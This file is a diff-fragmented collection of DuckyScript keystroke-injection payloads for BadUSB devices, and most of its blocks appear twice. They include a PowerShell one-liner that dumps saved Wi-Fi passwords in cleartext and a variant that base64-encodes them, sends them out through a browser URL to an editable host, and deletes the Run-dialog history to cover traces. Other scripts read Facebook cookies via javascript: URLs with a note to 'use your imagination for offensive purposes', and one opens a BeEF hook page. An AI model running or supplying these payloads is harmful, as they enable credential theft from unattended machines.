REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
DELAY 1000
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1000
STRING $profiles = netsh wlan show profiles | Select-String ""
BACKSPACE
STRING All User Profile\s+:\s+(.+)$""
BACKSPACE
STRING | ForEach-Object { $_.Matches.Groups[1].Value }; foreach ($profile in $profiles) { Write-Host ""
BACKSPACE
STRING Wifi: $profile""
BACKSPACE
STRING ; netsh wlan show profile name=$profile key=clear | Select-String ""
BACKSPACE
STRING Key Content\s+:\s+(.+)$""
BACKSPACE
STRING | ForEach-Object { Write-Host ""
BACKSPACE
STRING Password: $($_.Matches.Groups[1].Value)`r`n""
BACKSPACE
STRING } }; Write-Host ''
BACKSPACE
STRING SOMEBODY COULD HAVE STOLEN YOUR WI-FI PASSWORDS. PLEASE LOCK YOUR SCREEN NEXT TIME!!!''
BACKSPACE
ENTER
GUI l
@@ -1,25 +1,25 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
DELAY 500
GUI b
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
ENTER
STRING https://google.com
DELAY 500
ENTER
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
DELAY 500
GUI b
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
ENTER
STRING https://google.com
DELAY 500
ENTER
@@ -1,20 +1,20 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
DELAY 500
GUI b
WAIT_FOR_BUTTON_PRESS
STRING https://eyelockmyscreen.com/m
DELAY 500
ENTER
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
DELAY 500
GUI b
WAIT_FOR_BUTTON_PRESS
STRING https://eyelockmyscreen.com/m
DELAY 500
ENTER
@@ -1,27 +1,27 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Opens facebook.com within Chrome browser and alerts the document.cookie for Facebook.
REM use your imagination for offensive purposes.
DELAY 500
GUI r
DELAY 500
STRING C:\Program Files\Google\Chrome\Application\chrome.exe https://facebook.com
ENTER
DELAY 3000
CTRL L
DELAY 500
STRING javascript:alert(document.cookie)
ENTER
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Opens facebook.com within Chrome browser and alerts the document.cookie for Facebook.
REM use your imagination for offensive purposes.
DELAY 500
GUI r
DELAY 500
STRING C:\Program Files\Google\Chrome\Application\chrome.exe https://facebook.com
ENTER
DELAY 3000
CTRL L
DELAY 500
STRING javascript:alert(document.cookie)
ENTER
@@ -1,27 +1,27 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Opens facebook.com within the default browser and alerts the document.cookie for Facebook.
REM use your imagination for offensive purposes.
DELAY 500
GUI r
DELAY 500
STRING https://facebook.com
ENTER
DELAY 3000
CTRL L
DELAY 500
STRING javascript:alert(document.cookie)
ENTER
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Opens facebook.com within the default browser and alerts the document.cookie for Facebook.
REM use your imagination for offensive purposes.
DELAY 500
GUI r
DELAY 500
STRING https://facebook.com
ENTER
DELAY 3000
CTRL L
DELAY 500
STRING javascript:alert(document.cookie)
ENTER
@@ -1,27 +1,27 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Opens facebook.com within Edge browser and alerts the document.cookie for Facebook.
REM use your imagination for offensive purposes.
DELAY 500
GUI r
DELAY 500
STRING microsoft-edge:https://facebook.com
ENTER
DELAY 3000
CTRL L
DELAY 500
STRING javascript:alert(document.cookie)
ENTER
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Opens facebook.com within Edge browser and alerts the document.cookie for Facebook.
REM use your imagination for offensive purposes.
DELAY 500
GUI r
DELAY 500
STRING microsoft-edge:https://facebook.com
ENTER
DELAY 3000
CTRL L
DELAY 500
STRING javascript:alert(document.cookie)
ENTER
@@ -1,10 +1,10 @@
GUI R
DELAY 500
STRING %windir%\explorer.exe ms-settings:bluetooth
ENTER
DELAY 4000
TAB
DELAY 500
SPACE
DELAY 500
ALT F4
GUI R
DELAY 500
STRING %windir%\explorer.exe ms-settings:bluetooth
ENTER
DELAY 4000
TAB
DELAY 500
SPACE
DELAY 500
ALT F4
@@ -25,45 +25,45 @@ DELAY 1000
STRING powershell
ENTER
DELAY 2000
ALTCODE $ExeName = "calc.exe"
ENTER
ALTCODE $ExeParams = ""
ENTER
ALTCODE $FindMe = "4e657a1d-b1a5-4a75-8e45-9a82791a2f21.txt"
ENTER
STRING $found = $false
ENTER
ENTER
STRING while (-not $found) {
ENTER
STRING $drives = Get-WmiObject -Class Win32_Volume | Where-Object { $_.DriveType -eq 2 }
ENTER
ENTER
STRING foreach ($drive in $drives) {
ENTER
STRING $path = Join-Path -Path $drive.Name -ChildPath $FindMe
ENTER
STRING if (Test-Path $path) {
ENTER
ALTCODE Write-Host "File found at: $path"
ENTER
STRING $found = $true
ENTER
STRING $exePath = Join-Path -Path $drive.Name -ChildPath $ExeName
ENTER
STRING if ([string]::IsNullOrWhiteSpace($ExeParams)) {
ENTER
STRING Start-Process -FilePath $exePath -Wait
ENTER
STRING }
ENTER
STRING else {
ENTER
ALTCODE Start-Process -FilePath $exePath -ArgumentList ($ExeParams -split ' ') -Wait
ENTER
STRING }
ENTER
STRING break
ENTER
STRING }}}
ENTER
ALTCODE $ExeName = "calc.exe"
ENTER
ALTCODE $ExeParams = ""
ENTER
ALTCODE $FindMe = "4e657a1d-b1a5-4a75-8e45-9a82791a2f21.txt"
ENTER
STRING $found = $false
ENTER
ENTER
STRING while (-not $found) {
ENTER
STRING $drives = Get-WmiObject -Class Win32_Volume | Where-Object { $_.DriveType -eq 2 }
ENTER
ENTER
STRING foreach ($drive in $drives) {
ENTER
STRING $path = Join-Path -Path $drive.Name -ChildPath $FindMe
ENTER
STRING if (Test-Path $path) {
ENTER
ALTCODE Write-Host "File found at: $path"
ENTER
STRING $found = $true
ENTER
STRING $exePath = Join-Path -Path $drive.Name -ChildPath $ExeName
ENTER
STRING if ([string]::IsNullOrWhiteSpace($ExeParams)) {
ENTER
STRING Start-Process -FilePath $exePath -Wait
ENTER
STRING }
ENTER
STRING else {
ENTER
ALTCODE Start-Process -FilePath $exePath -ArgumentList ($ExeParams -split ' ') -Wait
ENTER
STRING }
ENTER
STRING break
ENTER
STRING }}}
ENTER
@@ -1,29 +1,29 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Steals wifi passwords (uptil win10, win11 needs admin for all passwords)
REM Exfills it via http://127.0.0.1 (edit this)
REM Cleans up last opened MRU listing ("powershell")
REM Press button to close MS Edge.
DELAY 1000
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1000
ALTCODE $base64output=[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(((netsh wlan show profiles|Select-String "All User Profile\s+:\s+(.+)$"|ForEach-Object{$_.Matches.Groups[1].Value})|ForEach-Object{ "Wifi: $_`r`n";netsh wlan show profile name=$_ key=clear|Select-String "Key Content\s+:\s+(.+)$"|ForEach-Object{"Password: $($_.Matches.Groups[1].Value)`r`n"}})-join ""));Start-Process "microsoft-edge:http://127.0.0.1?secret=$base64output";$HKCU = [Microsoft.Win32.Registry]::CurrentUser; $RunMRU = 'Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU'; $RunMRUKey = $HKCU.OpenSubKey($RunMRU, $true); if ($RunMRUKey -ne $null) { $values = $RunMRUKey.GetValueNames(); if ($values.Length -gt 0) { $lastValue = $values[$values.Length - 1]; $RunMRUKey.DeleteValue($lastValue)}}
ENTER
WAIT_FOR_BUTTON_PRESS
ALT F4
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Steals wifi passwords (uptil win10, win11 needs admin for all passwords)
REM Exfills it via http://127.0.0.1 (edit this)
REM Cleans up last opened MRU listing ("powershell")
REM Press button to close MS Edge.
DELAY 1000
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1000
ALTCODE $base64output=[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(((netsh wlan show profiles|Select-String "All User Profile\s+:\s+(.+)$"|ForEach-Object{$_.Matches.Groups[1].Value})|ForEach-Object{ "Wifi: $_`r`n";netsh wlan show profile name=$_ key=clear|Select-String "Key Content\s+:\s+(.+)$"|ForEach-Object{"Password: $($_.Matches.Groups[1].Value)`r`n"}})-join ""));Start-Process "microsoft-edge:http://127.0.0.1?secret=$base64output";$HKCU = [Microsoft.Win32.Registry]::CurrentUser; $RunMRU = 'Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU'; $RunMRUKey = $HKCU.OpenSubKey($RunMRU, $true); if ($RunMRUKey -ne $null) { $values = $RunMRUKey.GetValueNames(); if ($values.Length -gt 0) { $lastValue = $values[$values.Length - 1]; $RunMRUKey.DeleteValue($lastValue)}}
ENTER
WAIT_FOR_BUTTON_PRESS
ALT F4
@@ -1,23 +1,23 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Opens the BeEF demo page within the default browser so you can see interesting information on the victim.
DELAY 500
GUI r
DELAY 500
STRING http://10.0.0.1:3000/demos/butcher/index.html
ENTER
DELAY 3000
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Opens the BeEF demo page within the default browser so you can see interesting information on the victim.
DELAY 500
GUI r
DELAY 500
STRING http://10.0.0.1:3000/demos/butcher/index.html
ENTER
DELAY 3000
CTRL F4
@@ -1,113 +1,113 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Change the DNS settings of your Samsung LEDTV UE40F6500 (2013 model) to 1.1.1.1.
DELAY 1000
REM Change keyboard settings? Go to No:
RIGHTARROW
DELAY 1000
ENTER
DELAY 1000
REM Open settings menu:
GUI
DELAY 1000
DOWNARROW
DELAY 1000
DOWNARROW
DELAY 1000
DOWNARROW
DELAY 1000
ENTER
DELAY 1000
ENTER
DELAY 1000
LEFTARROW
DELAY 1000
LEFTARROW
DELAY 1000
ENTER
DELAY 1000
DOWNARROW
DELAY 1000
ENTER
DELAY 1000
DOWNARROW
DELAY 1000
ENTER
DELAY 1000
DOWNARROW
DELAY 1000
ENTER
DELAY 1000
REM Enter the IP address:
STRING 1
DELAY 1000
RIGHTARROW
DELAY 1000
STRING 1
DELAY 1000
RIGHTARROW
DELAY 1000
STRING 1
DELAY 1000
RIGHTARROW
DELAY 1000
STRING 1
DELAY 1000
RIGHTARROW
DELAY 1000
ENTER
DELAY 1000
DOWNARROW
DELAY 1000
ENTER
DELAY 1000
ENTER
DELAY 1000
ESCAPE
DELAY 1000
ESCAPE
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Change the DNS settings of your Samsung LEDTV UE40F6500 (2013 model) to 1.1.1.1.
DELAY 1000
REM Change keyboard settings? Go to No:
RIGHTARROW
DELAY 1000
ENTER
DELAY 1000
REM Open settings menu:
GUI
DELAY 1000
DOWNARROW
DELAY 1000
DOWNARROW
DELAY 1000
DOWNARROW
DELAY 1000
ENTER
DELAY 1000
ENTER
DELAY 1000
LEFTARROW
DELAY 1000
LEFTARROW
DELAY 1000
ENTER
DELAY 1000
DOWNARROW
DELAY 1000
ENTER
DELAY 1000
DOWNARROW
DELAY 1000
ENTER
DELAY 1000
DOWNARROW
DELAY 1000
ENTER
DELAY 1000
REM Enter the IP address:
STRING 1
DELAY 1000
RIGHTARROW
DELAY 1000
STRING 1
DELAY 1000
RIGHTARROW
DELAY 1000
STRING 1
DELAY 1000
RIGHTARROW
DELAY 1000
STRING 1
DELAY 1000
RIGHTARROW
DELAY 1000
ENTER
DELAY 1000
DOWNARROW
DELAY 1000
ENTER
DELAY 1000
ENTER
DELAY 1000
ESCAPE
DELAY 1000
ESCAPE
@@ -1,23 +1,23 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Want Ducky script as a User Defined Language in Notepad++?
REM Use this Ducky script to do this automatically for you using curl (Windows 10 build 17063 or later).
REM Credit for the UDL file goes to UberGuidoZ @ https://raw.githubusercontent.com/UberGuidoZ
DELAY 500
GUI r
DELAY 500
STRING cmd /c curl -o %USERPROFILE%\AppData\Roaming\Notepad++\userDefineLangs\Ducky_userDefineLang.xml https://raw.githubusercontent.com/UberGuidoZ/Flipper/main/BadUSB/DuckyScript_UDL/userDefineLang.xml
ENTER
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
REM Want Ducky script as a User Defined Language in Notepad++?
REM Use this Ducky script to do this automatically for you using curl (Windows 10 build 17063 or later).
REM Credit for the UDL file goes to UberGuidoZ @ https://raw.githubusercontent.com/UberGuidoZ
DELAY 500
GUI r
DELAY 500
STRING cmd /c curl -o %USERPROFILE%\AppData\Roaming\Notepad++\userDefineLangs\Ducky_userDefineLang.xml https://raw.githubusercontent.com/UberGuidoZ/Flipper/main/BadUSB/DuckyScript_UDL/userDefineLang.xml
ENTER